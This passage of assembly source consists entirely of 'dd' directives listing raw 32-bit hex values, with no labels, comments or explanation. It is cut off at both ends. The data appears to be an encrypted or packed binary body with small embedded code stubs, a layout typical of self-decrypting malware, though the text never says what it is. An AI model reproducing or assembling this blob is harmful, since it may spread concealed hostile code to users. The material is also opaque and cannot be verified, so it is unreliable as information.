43DD0F73h, 6621B61Ah, 5BEE3215h, 0E34BCD3Bh dd 66223218h, 4213749Fh, 69280EE5h, 66441191h, 8FDA6B15h dd 6611322Ch, 8FC9FB26h, 6644320Ch, 662231ACh, 661EDB15h dd 60313215h, 8F443215h, 66223210h, 661135ACh, 0ED2CC115h dd 8165D798h, 69EBB710h, 66113490h, 833DBB15h, 3F41D534h dd 0ED44F1ECh, 69D20E13h, 66885791h, 0E69CB815h, 9DA2C2F6h dd 0FA953D65h, 5A883215h, 29C03DFCh, 5A223215h, 21953DFEh dd 5A883215h, 59C03DD7h, 5A223215h, 51953DDEh, 883215h dd 6961CD28h, 66221F91h, 69DB0E15h, 66881791h, 69A70E15h dd 66225091h, 482C5415h, 6B0D3DEAh, 0EC443215h, 96063053h dd 0E21E9229h, 66883213h, 664BDBEDh, 0D3AB3215h, 63F613F0h dd 3985AF98h, 0B5BB37F8h, 0ED72F1ECh, 0E3982253h, 636F3B80h dd 7A82B14Dh, 459B8F98h, 65BC37F2h, 0CDAC1651h, 7D058F98h dd 658F37F2h, 36351651h, 735BFBEh, 0CB41D53Fh, 4E067616h dd 30D26CBEh, 386EAF98h, 0B5BB37F8h, 0FFFF95FCh, 4ECEDFFFh dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7A841AFh, 2AA8ED96h dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h dd 0D554A851h, 0D7BA8660h, 0C5CE2559h, 0F14067D3h, 0ED9232DCh dd 71BA8FF8h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h dd 2FB96EAEh, 64DF0746h, 0D5514596h, 5E0003C6h, 835492B8h dd 0A4F305E9h, 31E4CB8Bh, 5DB1DABAh, 2FEB3256h, 0BAD670BCh dd 113C5253h, 0D05C690Eh, 63B977DDh, 79F4B951h, 31B575DFh dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 2C34F436h dd 0E983D551h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 505817FBh dd 0D525F897h, 0ADFDF53Fh, 92981662h, 0CFB73422h, 0B723AC7Ah dd 1A20AD29h, 7975FD7Ah, 0F2987C27h, 0A0701096h, 0C29F62FFh dd 83C87D7Fh, 0A4F305E9h, 0BD8DDB8Bh, 5EE03B5h, 1E9C8D8Dh dd 44B805EEh, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h dd 0FFF2850Fh, 0C08BFFFFh, 0D79BD83h, 750005E7h, 15BD8309h dd 5E71Ch, 53501974h, 11B8C08Bh, 89000004h, 0E70F2D85h dd 9B9D8D05h, 0FF05E9AAh, 83585BD3h, 0E71C15BDh, 17740005h dd 11B85350h, 89000004h, 0E70F2D85h, 3C9D8D05h, 0FF05E9A7h dd 8B585BD3h, 0A4F2BBC0h, 8D8D4672h, 5EE2095h, 14DB523h dd 8D8905E7h, 5E72315h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0D9C35343h, 5F51CE46h, 5CC9EF29h, 8B985C7h dd 5D8405E7h, 8B660000h, 9985C7DFh, 5E70Ch, 8B000000h dd 0E712D195h, 7DB5FF05h, 2B05E701h, 0E7238D9Dh, 0CD95FF05h dd 6605E732h, 6AE5FABEh, 1D95FF00h, 8B05E71Ah, 663BEBC0h dd 0BC75B7AFh, 1EADBB61h, 0D3014B8Ah, 6D98EE8Ah, 243DCD34h dd 82D050B7h, 28879AE0h, 0CD60C30h, 0D0E3AEBCh, 80FE38BFh dd 0A40182E3h, 0CB96FDAAh, 0B01EF392h, 9163B314h, 12E8C4A3h dd 0BE000000h, 86B0C0E4h, 0D7B2A24Eh, 0DFAE80D3h, 2878487Ah dd 0F9B589DBh, 5905E70Dh, 2C0DBD89h, 0C18105E7h, 603Dh dd 17E5BEh, 0B850F00h, 0F000000h, 589h, 0EC5CBB00h, 18B0084h dd 0C59D8B50h, 5F05E716h, 0A49FF081h, 0F6047AAh, 0CC80D6BFh dd 0E8816153h, 67204BFDh, 12E8h, 0B4A27000h, 0B45E97Bh dd 578E3C2Dh, 443E9A71h, 0FFDCC82h, 583h, 4BBFBA00h, 815F7CA3h dd 52A9B9E8h, 0F381533Bh, 43C06F19h, 0E901895Bh, 9, 0DE4CBFh dd 0AB2746B0h, 4E98341h, 1EE81h, 850F0000h, 0FFFFFF92h dd 7995BB66h, 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 0A9B58B00h dd 8305E70Dh, 850F00FEh, 22h, 7F985C6h, 684505E7h, 8E726969h dd 0C25B5FFh, 858D05E7h, 5EA7963h, 8589D0FFh, 5E727D1h dd 3E80F08Bh, 31850FE9h, 8D000000h, 0EC84FA85h, 8BD0FF05h dd 0E72A59BDh, 84C78105h, 8B000011h, 0E70DA9B5h, 0B9F78705h dd 8, 0B58BA4F3h, 5E70DA9h, 29CB858Dh, 0D0FF05EBh, 2DF9B58Bh dd 0FE8305E7h, 22850F00h, 0C6000000h, 0E707F985h, 0F4685405h dd 0FFFF4EBEh, 0E70C25B5h, 63858D05h, 0FF05EA79h, 0F98589D0h dd 8B05E72Dh, 0E93E80F0h, 3A850Fh, 0B58B0000h, 5E72DF9h dd 84FA858Dh, 0D0FF05ECh, 2A59BD8Bh, 0C78105E7h, 1184h dd 8B08C783h, 0E72DF9B5h, 0B9F78705h, 8, 0B58BA4F3h, 5E72DF9h dd 29CB858Dh, 0D0FF05EBh, 858DC361h, 5EE218Ch, 2ED98589h dd 4EB05E7h, 0E6F68Fh, 500E9h, 0E0D6C200h, 0EBCBC368h dd 0E9D1DE65h, 0EDF1D867h, 0ECEAD463h, 4E22517Ch, 49D67A40h dd 49D67A42h, 47EC7C5Ch, 0DAEF6145h, 0C05B2D88h, 2D58C69Bh dd 547A527Dh, 0C9F13906h, 2975F07h, 0C375E2BEh, 2A0964B5h dd 0D6FEDCE2h, 327D5D49h, 87E6341Ah, 7F5F49A4h, 0D0F6D423h dd 4969BD8Ah, 3D1D0A75h, 78A188E1h, 0E5567A40h, 0F79659E5h dd 775771D3h, 795972D9h, 634348D7h, 0D1E5D01Fh, 6462E98Dh dd 0EFE7C7C4h, 4C7A4A40h, 88E13D0Eh, 0B098A7ADh, 6BB787B0h dd 8ED3102h, 0C375E2A3h, 0FA2FAB3Ah, 116C6C55h, 0D98E0A9Ah dd 2373CB67h, 38F1326Ch, 5F93684Bh, 0D7000000h, 225D7A52h dd 36EF3BD5h, 4D300E5Fh, 0C375F5F9h, 7F656564h, 67D977E5h dd 1E7h, 7852E300h, 280E1C23h, 4A3EFBD2h, 49C375E2h, 0E4D32F78h dd 2ABA80A6h, 0E03E1E05h, 4447AA89h, 13A66E60h, 0C375E2ADh dd 311A55A6h, 81FCCD11h, 0F397F641h, 0FB557551h, 44447CACh dd 0FCCD1C62h, 6452BC6Ch dd 0EF3F0856h, 6CDFF3CFh, 0EAD0DE6Ah, 684C5FE0h, 0D5F43B12h dd 615CADF1h, 624444D3h, 0A315A068h, 0A0C375E2h, 0DD2A1457h dd 3AE2E4D4h, 75E2299Fh, 9AD92AC3h, 0F793B8A4h, 14246D32h dd 8CE242D9h, 778267D9h, 0C4000000h, 8566452h, 0EBD4F23Fh dd 0AB939CD3h, 0D0BB045Ah, 2E2C1AB6h, 57D9FCA4h, 6CC375E2h dd 0E2E95F7Ah, 99EAC375h, 58E76D48h, 2512686Eh, 50FCC2E2h dd 0AB351FBBh, 4867D98Ch, 0BFDD880h, 8C375E8h, 0E8F67A3Fh dd 2613C375h, 10E1C816h, 4B1FE4C7h, 0B7000000h, 0EF2C78Fh dd 5C375E8h, 0E8897F34h, 0B98AC375h, 64526C7Ah, 0EE3F0856h dd 7734F0CEh, 0F1C9F153h, 6A358B5Fh, 5F3A1C22h, 2ED8CC35h dd 1A301F5Eh, 858D9234h, 0B50876B5h, 0C37533C0h, 868A0C5Fh dd 67D8BD0Eh, 13Eh, 65528800h, 0FAD27D55h, 91B195D4h, 9036C52h dd 615452Ch, 0AF2735FDh, 7575A60Ah, 36CBDC3h, 0B6D0BB3Fh dd 232D2D1Ah, 0EDE5A844h, 5D845BC8h, 0F3CF18C9h, 0AEA28484h dd 5BA78781h, 922A10E6h, 0B98189C6h, 2D2D1A65h, 85A5E6D1h dd 0EB4C4AF1h, 7549A084h, 32E839C6h, 0D9F35179h, 0DCCC5BF5h dd 715BA4FAh, 0EFDA656Dh, 7BBA93EFh, 0DEF86307h, 0D4745A72h dd 231B0728h, 2FBB55C0h, 2C8961F2h, 0C1000001h, 6170E469h dd 0A382019Ah, 2FEE0237h, 93B398A7h, 0B73F7E4Fh, 5CF71562h dd 0E633FBC9h, 0C692F612h, 10E5C011h, 9C8CFBC7h, 41EE96BAh dd 0CD1C625Ah, 0A58983EEh, 18310959h, 8842ADBBh, 0CCDC3372h dd 4BF094EAh, 8BABFD4Fh, 0BCE4645h, 370F61F2h, 644F4BFEh dd 308DE8BEh, 2Eh, 2EED02B2h, 0E37F11A4h, 2B74C375h, 0E29E62D7h dd 0F45CC375h, 2587CABh, 0F199C82Bh, 0A72FEC03h, 75E37E12h dd 242475C3h, 0A273h, 0EE02A700h, 0D12A72Fh, 0CAC95CE8h dd 53DA5F9h, 142FFEFEh, 9E469805h, 82488968h, 424AA984h dd 4547EC7Ch, 8DB51D61h, 922A4028h, 337243C6h, 922BEF56h dd 104C7AC6h, 0F6C41539h, 463A659Eh, 4CA32301h, 80247A5Ch dd 3B6DBFDBh, 95E6C71Bh, 0E324A2E9h, 0D684E5Ch, 8EC0E626h dd 0D0DF3C6h, 3506C692h, 6F7D7AF6h, 6BB49AB0h, 0EA675663h dd 137CCC83h, 86A8E0CFh, 335704B8h, 606A2BC1h, 0B2146655h dd 0B81263C2h, 0D15325F0h, 7E50D2B1h, 0B1D1D55Bh, 4C9DEED2h dd 0D1C9BF1Ah, 0F9CAD2B1h, 292B6BAh, 12A72FEEh, 0C964052Bh dd 0A50BAE20h, 37C69BC0h, 0D6C16374h, 0E435860Bh, 7361D7E2h dd 1162C69Bh, 0A5B68EC0h, 0BB013612h, 0D11E6043h, 0D279D7F7h dd 0DE86D4FAh, 29755571h, 0BB941CB9h, 5EAFC69Bh, 39492E0Dh dd 0A8CD90EDh, 10B9921h, 404133Dh, 0F4C5F13Ch, 6E4E59A6h dd 0DEE42710h, 449AEBD3h, 300E4E7Bh, 2F933774h, 0DC6C08Bh dd 0E8CBEB22h, 0AAAA8385h, 94933526h, 210EC213h, 0E0FBC7E7h dd 3, 526F2336h, 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h dd 4FB886B4h, 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h dd 1E6168h, 241C8900h, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 89522404h, 4C281E2h, 81000000h, 4EAh, 24148700h dd 242C895Ch, 7574BD55h, 814D33ADh, 9B018FC5h, 72ED8114h dd 55425A54h, 8B545D58h, 0C483242Ch, 60986804h, 4890000h dd 242C8124h, 28473DBh, 8108458Fh, 73DB0845h, 2C8B0284h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 5324048Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 0F4E95C24h, 6FFFF955h dd 0BD72B164h, 137EFBF5h, 680CE233h, 26E7B876h, 0C50305EEh dd 0C5F5E0FFh, 639B6741h, 0EFC5493Eh, 0EF873A5Bh, 0F39D0BF9h dd 3BCB520Ch, 299375AAh, 0E1C290Fh, 2D207A3Ah, 63FA7A68h dd 4EB1AC9h, 5A291Eh, 513E9h, 0A4929E00h, 0AF8F9FA4h, 0ADAD9AA1h dd 91B594A3h, 90A690BFh, 0A5E15B8h, 5123E1Ch, 5123E1Eh dd 3282000h, 862B2509h, 0C507E9CCh, 111CC69Bh, 547A52B9h dd 0C9F13906h, 0CE103807h, 0A18587F0h, 0EC546129h, 1EC375E2h dd 75E235BBh, 2CFDCEC3h, 519EE0C3h, 7D414B75h, 6661CE2Ch dd 0E6C8C060h, 0F6C8DD6Ah, 0A9A7F0D6h, 0ACFA4DE5h, 750753B3h dd 0C0230C4Ch, 3698B8EDh, 7AC5AB0Eh, 8DDEC375h, 386750AEh dd 0D1BA3E1Ch, 12321BA9h, 2B3E763Eh, 80208F5h, 828AE9C4h dd 169B5EBCh, 8DC3756Bh, 1B64BA9Ah, 0E4D32F2Fh, 0AE1D81A5h dd 3CAF8628h, 51EB69Ah, 7E2E67D9h, 0A4000000h, 51ADB19Bh dd 52AD3D78h, 7D5D4A7Ah, 876BCE2Ch, 6C375E2h, 0BF01945Ch dd 0B4C375E2h, 0E05D6B62h, 0B081509Bh, 0A3646275h, 4AA98D9Ch dd 0D94E45DFh, 10767h, 52430000h, 5C045A78h, 0BBF6C6F3h dd 19704E8Eh, 0F7D7F7DAh, 774D5CABh, 0DC2D7155h, 0E2592F8Ah dd 95AC375h, 6915E238h, 0BCC7A9D1h, 83E20FD4h, 301AB6D0h dd 0E924C41Bh, 97E0D76Ch, 60AAF5B9h, 0CE2D7C42h, 4B85A9E3h dd 56645287h, 0CFEF3F08h, 6A6CDFF3h, 66EAD0DEh, 0E7EFCFD9h dd 0F6E7058h, 0E3DBC433h, 0FE98B39Fh, 0D98C8AEAh, 5C5A67h dd 526C0000h, 58085664h, 0B18CC8F7h, 19655542h, 301B24AEh dd 0BCFFCE2Ch, 131FAD2Dh, 101E252Bh, 0A0EBD42Ah, 0F992BE9Ch dd 8C69CBD1h, 5F7B67D9h, 4F000000h, 7C566452h, 8BD7E7D3h dd 7B4472BCh, 0B19EC638h, 1D6CB28Ah, 0FADAF3DEh, 27A3E8A4h dd 15BD9D85h, 3517981Dh, 94D734CFh, 78528858h, 11624444h dd 0AEAD85CDh, 0CF0F38F9h, 0EC409AF3h, 0B613520Dh, 0C375D7C1h dd 106E7058h, 0F8C6E627h, 0E74B4F3Ch, 0D7BDDD8Ch, 67D9593Dh dd 10Fh, 65525B00h, 287D434Bh, 8ADB3208h, 7F5F4BB4h, 0B681DD2Eh dd 561EB096h, 75E2FD43h, 46A5F6C3h, 0F3974478h, 0F9596851h dd 0C75C5CDCh, 0C8A7A9FAh, 4C696124h, 0C95DA5DFh, 8774B94h dd 62123E00h, 5A91FBAh, 59AAC692h, 3115371Ah, 5A208EDh dd 0DF8CC692h, 1F3F69BBh, 0F7220D31h, 5392FBC7h, 340A2C7Ch dd 0A1FDC1CBh, 8F385E0Dh, 63845AB7h, 555DF4DBh, 0E7301965h dd 5F7FA984h, 866A4F77h, 9DC6922Ch, 0A5B7B52h, 2EA6252Bh dd 1E61F1C0h, 128h, 2FEE02A8h, 0CD858FA7h, 0D4AC6240h dd 0FBF8DD99h, 0F8C95C88h, 246453AFh, 76EA5E7Bh, 98E9C692h dd 4557551h, 92D7FC4h, 85C2CA35h, 92764830h, 207A4BC6h dd 837D2642h, 3C02538Bh, 62A723A8h, 88EBCBDDh, 8D4363A5h dd 0F22F861Eh, 41FFB761h, 0AF3CA4EFh, 72FD43A3h, 0C8199DBBh dd 4710EDh, 2520000h, 9BA42EEDh, 7B52A8ACh, 0BFFB0623h dd 42A11E0Dh, 0AB0BAD08h, 5FA8C375h, 0AACABE03h, 4300C375h dd 0FFDA8247h, 0C375AA09h, 0C7FA390Ah, 31871228h, 32C375AAh dd 9B3E90E1h, 0C375ABC5h, 0F8A3ADFEh, 80h, 2FEE022Eh, 0E80D12A7h dd 0F0CAC95Ch, 0D2F89E58h, 790CAA8Ch, 0CA35095Ah, 0C76CFCC2h dd 359DE1C5h, 0C9E9220Dh, 69DF94F5h, 6AC692E6h, 0E6E35560h dd 97E0C692h, 33826746h, 0A6C692E7h, 0C7B4767h, 0D2E63402h dd 71448109h, 0C692E78Fh, 0B46ABB84h, 916D3F7h, 97FA3901h dd 0C0BF91B5h, 5461692Ch, 0CC830FADh, 0BE89D526h, 3906486Eh dd 97EBCAF2h, 0A25E78E3h, 0B2074F4Eh, 0C2B1268Fh, 75153B04h dd 0A31EE02h, 4C9DEC32h, 0C5CD521Ah, 2ED1B6F5h, 0ABC9640Ah dd 6D48705Ah, 0C69BCA9Bh, 0F7E14698h, 898CBB4Ah, 3D8316B8h dd 36C69BB3h, 4FB886E5h dd 48D7795Dh, 5D207E40h, 0CCC7B989h, 9557950h, 0F2C8EE3Eh dd 0E4444205h, 6CBD81A5h, 7E26AC03h, 11D6F6D1h, 0C8D7B5AFh dd 0E90FF42Dh, 9667C0E7h, 53776645h, 59F7D7F1h, 0A6F4DAF2h dd 1535113Eh, 0AE85E0C9h, 4F775F7Fh, 0BD81B5E0h, 9121976Ch dd 0D122C8D7h, 4843AC92h, 0E0291664h, 92B582D8h, 851D6CB2h dd 787EC0C6h, 7A32F793h, 8F2684BDh, 83EECD0Bh, 9CABA589h dd 0ED02A38Ch, 70845DB3h, 9FE8D65Bh, 735CAD4Bh, 3AC2Fh dd 23FA0000h, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh dd 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh dd 545702E4h, 4C7815Fh, 83000000h, 3C8704EFh, 89575C24h dd 4C781E7h, 83000000h, 3C8704EFh, 1C895C24h, 0C26824h dd 4890000h, 41685224h, 5A71690Dh, 0C103EAC1h, 0EAD106E2h dd 0F61DC281h, 0D389FE60h, 0D1F3815Ah, 6841EB0Ch, 2793h dd 81242489h, 42404h, 53580000h, 0FF08408Fh, 81582434h dd 4C4h, 241C8B00h, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 0F9509AE9h, 9C3D35FFh, 0EE2C5DB8h, 0FFC50305h, 8FEE43E0h dd 13BE9C00h, 5E6EE35Dh, 0E03C3E0Bh, 6605311h, 8EB12h dd 0A000000h, 0E978EC8Bh, 4C2h, 0EE2E0D68h, 5061E905h dd 9168FFF9h, 0E905EE2Eh, 0FFF95057h, 0EE304168h, 504DE905h dd 4D7BFFF9h, 5278C709h, 4A77DC0Ch, 5671DE72h, 454DDA76h dd 0BBCADB75h, 4D83BBE7h, 4D83BBE6h, 4B85A5E6h, 468AACFCh dd 0E2566363h, 0E1C69BCFh, 6452C4B2h, 0ED3F0856h, 6CBE81C9h dd 0AE16F4Eh, 0AAF27E6h, 0C95D1165h, 68CD1162h, 0C692CC8Ch dd 0A3A9D1FAh, 61F26031h, 35513h, 49F34B00h, 0BF0194F8h dd 0B4C69236h, 2FD136Bh, 35CC9AD9h, 0C01E3C6Ah, 5E118AE9h dd 0C8F03906h, 7B1AD6EDh, 0F5C1CC53h, 3C743CB6h, 0D39531B2h dd 3790D3F3h, 0C95C644Ah, 0CB547E4Fh, 36BDF8DCh, 0C5E9230Ch dd 0F45590F9h, 0C53CDF87h, 0FEE6AE42h, 0EA8629AEh, 0F8DDF5C6h dd 0CA109A57h, 0E0FFC32Ch, 9941090Ch, 97A21EA1h, 95D047CCh dd 6EDB5934h, 490152C0h, 8F9EA6E6h, 0A5F25EAFh, 0E1DE4363h dd 0E9736C87h, 32A0A51h, 515F0000h, 4E5CEB65h, 6E5BE068h dd 7255E26Eh, 6951FE52h, 9FD6FF51h, 51FFDFCBh, 51FFDFCAh dd 6FE1C1CAh, 6AE6C8C0h, 0C6AA0F47h, 0DDC69BCCh, 0EE02F8AEh dd 0A012A72Fh, 0AFC9640Fh, 18664840h, 41EEE031h, 0CBBD1859h dd 0C8C69BCFh, 1B24AEFFh, 0FBD2282Ch, 70B38BB4h, 4D6B57FCh dd 1F3F6846h, 5699EAC3h, 36045575h, 6DD3E6AEh, 66C69BCFh dd 8271D615h, 11C69BCFh, 376A1737h, 3B6A3FBBh, 2A6BC1Fh dd 0D5C30000h, 0CAC06FE1h, 0D2DF64E4h, 0CED966EAh, 0EDD562EEh dd 235263EDh, 0D57B434Fh, 0D57B434Eh, 0D37D5D4Eh, 0EE624444h dd 5A2E8BDBh, 59C69BCCh, 0EE027C2Ah, 0A012A72Fh, 56C9640Fh dd 15F332DEh, 0CE2D8399h, 6BCE2C7Dh, 0C69BB789h, 0A6AA2CFFh dd 61EB352Eh, 5A7F27EFh, 0C69BBFD6h, 51279CEDh, 52C69BBFh dd 0D8FE2E01h, 0F348AB82h, 1DAh, 226A35F7h, 0E2E85065h dd 9AEBC375h, 0D5147549h, 0BF92D1F1h, 0C440406Dh, 79DEE577h dd 8D99A628h, 7704EADh, 0E1A92105h, 7E149C39h, 0DE2FC375h dd 757E9719h, 6043ACC3h, 34D917ECh, 6C3A0792h, 0EE3FC95Ch dd 4B572D90h, 0C8C2C692h, 60AB94EAh, 43567E5Ch, 0C6924BFDh dd 0AE1DA5F6h, 0A8AE9828h, 242A7B52h, 0E7796367h, 0E561F1E1h dd 3Eh, 216A35E1h, 91EC3D01h, 0B71FFEF2h, 5E8B78Fh, 0BF9C9EFDh dd 29C49AA1h, 0F0CA1B1Eh, 285CB687h, 4A2F0E1Eh, 0C95C5DF1h dd 9C61BD8Eh, 0C6925D18h, 371DBD6Eh, 61F1CF9Dh, 0DCAFh dd 7D353B00h, 0F5343019h, 0C1E1468Bh, 66E2E04Ah, 0D1FBD615h dd 479BBB93h, 99C91566h, 10C8A5A1h, 3679D563h, 9BF63515h dd 6453AFAFh, 75E00B24h, 0B78FCFFAh, 90E197DDh, 0B2B7D4Ah dd 8362F4C5h, 0D5F7C375h, 4CA05FF1h, 158C5140h, 0F8D12D2Dh dd 767648A6h, 5AE5AD25h, 38801572h, 3BC37585h, 184199EAh dd 77E94D9Dh, 64A90E6Dh, 98C95F09h, 72B195B7h, 0E352B981h dd 7428E073h, 929CA32Bh, 939FA4A4h, 6DB191B5h, 654E331Ch dd 0D6A3C5Ah, 0F6A635h, 25130000h, 3A103F11h, 226F3414h dd 3E69361Ah, 3D65321Eh, 0D3E2331Dh, 0A5AB939Fh, 0A5AB939Eh dd 0A3AD8D9Eh, 0BE92B494h, 8A7E5B0Bh, 89C69BD2h, 64522C9Ah dd 65CAFA56h, 0EE3F0323h, 9DDE4A94h, 44A74C0Fh, 311F3F69h dd 547A5211h, 0C9E65E06h, 0D455729Eh, 7FA984E7h, 0F6FAF15Fh dd 0A8040B1Eh, 0EF38E9AEh, 6C7258E7h, 0F6FC3F0Eh, 5D7A5723h dd 5B735CC9h, 0B4828C93h, 2E2C1A79h, 0AEAE9BA4h, 4430814Fh dd 0D1C6927Ah, 0D279D7F7h, 0D388D6E4h, 64h, 0CD09341Bh dd 6A35F8EEh, 0EE3F0323h, 19FCF08Fh, 0F9E64B1h, 4495C964h dd 3F1F0976h, 3C020A11h, 0B0F11BDEh, 0F5944596h, 6F5577D5h dd 6CA1B23h, 0F3CFEF39h, 29A18584h, 5B014A11h, 0C3229C0Ah dd 7610FBFFh, 0FAECF2DAh, 0D517155h, 2473C13Ch, 0D4FCC2E4h dd 1C763F5Ch, 78BB1819h, 379h, 6F23A100h, 0A506652h, 0F7CBEB3Dh dd 5FA38388h, 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h dd 7D4179A6h, 0E43A1832h, 0E1895102h, 4C181h, 0E9830000h dd 240C3304h, 33240C31h, 685C240Ch, 624Dh, 83241C89h, 348904ECh dd 4EC8124h, 89000000h, 29BA2414h, 8905EE2Dh, 8B545AD3h dd 0C4812434h, 4, 89D98951h, 0C8B084Eh, 4C48324h, 5724348Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815B24h dd 4, 0F94BAAE9h, 5CB848FFh, 305EE31h, 5BE0FFC5h, 7D614DEEh dd 0CB552517h, 0EB222E5Bh, 9BE8004h, 579E964h, 71BF0000h dd 6EBC8B45h, 8EBB8048h, 92B5824Eh, 89B19EB2h, 7F369FB1h dd 71DFFF2Bh, 71DFFF2Ah, 0FC1E12Ah, 0AC6E820h, 268A2FA7h dd 3DC69BD3h, 0D3598CEh, 75E2C0A8h, 0B3F2C3C3h, 606A4C5Ch dd 92E8CCDFh, 390678BBh, 0D981C9F1h, 75E274FCh, 0FF3E0FC3h dd 0D5E22A71h, 4866B9D7h, 83A3E858h, 0CC1D6EBFh, 0A78781EEh dd 183E6C5Bh, 410975C2h, 75E18C74h, 2E0E19C3h, 0DF28F9D0h dd 7FCDCD9Ch, 0FE41092Dh, 0AEAE95B3h, 0D2287950h, 72C6D3FBh dd 71C375E1h, 200FC520h, 0DB83CBEBh, 75E10AFEh, 0FD3809C3h dd 0C3E32877h, 0B185B0FFh, 0FC445119h, 0F7C375E1h, 785C4BA6h dd 2AB1C53Dh, 0F4D47BACh, 0E1BA0EABh, 68B9C375h, 0D4F1DC1Fh dd 0FB5AD2F4h, 976B604Ah, 965E92D1h, 0C98AEE9Eh, 0FDD5FB59h dd 751F50D8h, 230253C3h, 0A4FADCCCh, 751F6CD1h, 0F6D6F7C3h dd 684C5FA8h, 0B5D59612h, 27A32209h, 0D891A33Dh, 0C3CF5067h dd 63C3B8FBh, 87000000h, 6547A52h, 4DE4E65Eh, 1C5B3853h dd 0CCF27821h, 786BC375h, 60DA4A5Eh, 1EA67D9h, 0FC000000h dd 96237852h, 0C375E222h, 0CF87D021h, 0E2CEB207h, 0F4C5C375h dd 361949B9h, 9DEC3208h, 7B5B735Eh, 0EDF1D827h, 23A72691h dd 2DA58581h, 0E2E85065h, 9AEBC375h, 0F546BA40h, 195460D0h dd 7A5C4CDBh, 645232D6h, 22785E48h, 0E29167B2h, 4192C375h dd 0ECDB2770h, 6CD4E1BEh, 67C375E2h, 0D5F9C516h, 0D6C06066h dd 234C31E9h, 91F8C6F6h, 0B4A7F849h, 4E5EE56Bh, 0FC251268h dd 88B1FEDCh, 151D6AB0h, 0AB9D925h, 7F2C228Ch, 16EF715Bh dd 230C67D9h, 92FBC7F7h, 93EA53h, 52FC0000h, 0D37C5664h dd 0A28BD7E7h, 0AF577F43h, 75E2A60Ah, 2C3034C3h, 0B32AB7Fh dd 765677BAh, 0B9F0C128h, 6F4E6Eh, 0CEEE3917h, 6B56A1FDh dd 0EB200F53h, 9F88F7CBh, 7C0A63BFh, 8867CBCFh, 3F6BB9C1h dd 3C6A311Fh, 0D4F7C01Eh, 0EDBEAAF0h, 0CA7DE7EDh, 5F6F67D8h dd 67000000h, 0D4F6EED8h, 7041A8F6h, 0F2C8F039h, 520E589Bh dd 58085664h, 0E2B30590h, 67B0C375h, 27A3861Fh, 74B7350Fh dd 0CE2C0C19h, 0D3711952h, 47FFD7E7h, 0DC2C9439h, 559BDADCh dd 5A7852B5h, 0CCE45C04h, 0EFF7731Fh, 0BE03E4C7h, 21C37585h dd 40EF18BEh, 91046757h, 67D927FFh, 1CDh, 65529900h, 0E1590955h dd 2575D6C0h, 0DCCE21EBh, 6A49A0FEh, 0DD210507h, 349432D9h dd 661D330Bh, 0F6C38B8Ah, 0C95DC339h, 0C191ED3Eh, 0FCCB3969h dd 116C1182h, 4C4EA22h, 0F5C9ED3Fh, 9D00BA00h, 0B3D794C6h dd 0DAE22976h, 6B46A584h, 64331D21h, 943C0224h, 6A4A43ECh dd 88703514h, 8BC69D00h, 34147BBAh, 0F534020Ch, 58B18DCDh dd 1EEF470Fh, 91791F05h, 84281655h, 3711B3D7h, 0B9E54B6Eh dd 0ADFEC69Dh, 7FC08C5Ch, 0DA330F2Fh, 33940C9Bh, 994161F1h dd 0F6B38BB6h, 0C69D8502h, 0DEFC2E01h, 446AA28Dh, 6FD41776h dd 140h, 0D3F3D867h, 6B7FBE8Fh, 0C226EE02h, 0F270F51Fh dd 56636BB4h, 0C95C9F69h, 0C955146Eh, 4283DC66h, 4915971h dd 0C692DFBCh, 3B0766B7h, 0D0FADCCCh, 7B0EC758h, 0D9300E4Eh dd 47C4FE81h, 92EF8E72h, 6BB485C6h, 0FB3E2A13h, 4FAEE23Eh dd 4C92BA81h, 62CE666Eh, 0D9E1E560h, 10B6645h, 5CDE13Dh dd 0EC32103Ah, 0FBFA3494h, 0EC3DAF09h, 68B8DE91h, 0DD321E20h dd 61F1EB43h, 5901h, 7D354500h, 851E76BFh, 0B1CC2F51h dd 0A471593Ah, 0C375960Ch, 7F5F48A7h, 0A5F9CA23h, 1939123Dh dd 978B7DDAh, 2816C375h, 0A8E3CC12h, 0A912B684h, 46059D21h dd 8FB88740h, 0DB1A734Fh, 0B54D47A4h, 5C45A8D7h, 0D42A1219h dd 735BA4F5h, 75F002A6h, 0F850A1C3h, 6B3Fh, 0EE026B00h dd 0D12A72Fh, 0CAC95CE8h, 414ED1F9h, 9CC43A79h, 74B787B3h dd 212F0F19h, 0BA2C321Ah, 5291B195h, 0E52A896Ch, 410AC692h dd 9DA1EB39h, 5C38B4B3h, 0E59256B9h, 2CA6F7D9h, 83CC4789h dd 0EF331CCCh, 2CA68880h, 0D6240803h, 364AB4F7h, 19D725A5h dd 85AA5274h, 8015BD9Dh, 0C8A3E838h, 2E8BEA3Bh, 0C2B21E3Ah dd 20E068B9h, 0A72FEE02h, 6414CE12h, 0E4D37CC9h, 0D72095D0h dd 4A6CBC8Bh, 51F42800h, 7D0A59B3h, 2365323Eh, 0EF973F03h dd 492E9227h, 0D425C69Bh, 9B49A91Fh, 1659AAC6h, 77D0132Bh dd 20B3C0B0h, 0E9A3CAFh, 0B10381Eh, 96E13D01h, 374B97B7h dd 5EE122A4h, 724A7751h, 0AE8CDD2Ch, 0A4F4156h, 0DB2499A2h dd 0B393B598h, 0B096B69Dh, 0F1D57A6Ah, 41BC8DD1h, 0A7Eh dd 7323A800h, 82D8FE2Ch, 521E48ABh, 3D0A5066h, 88F7CBEBh dd 105FA383h, 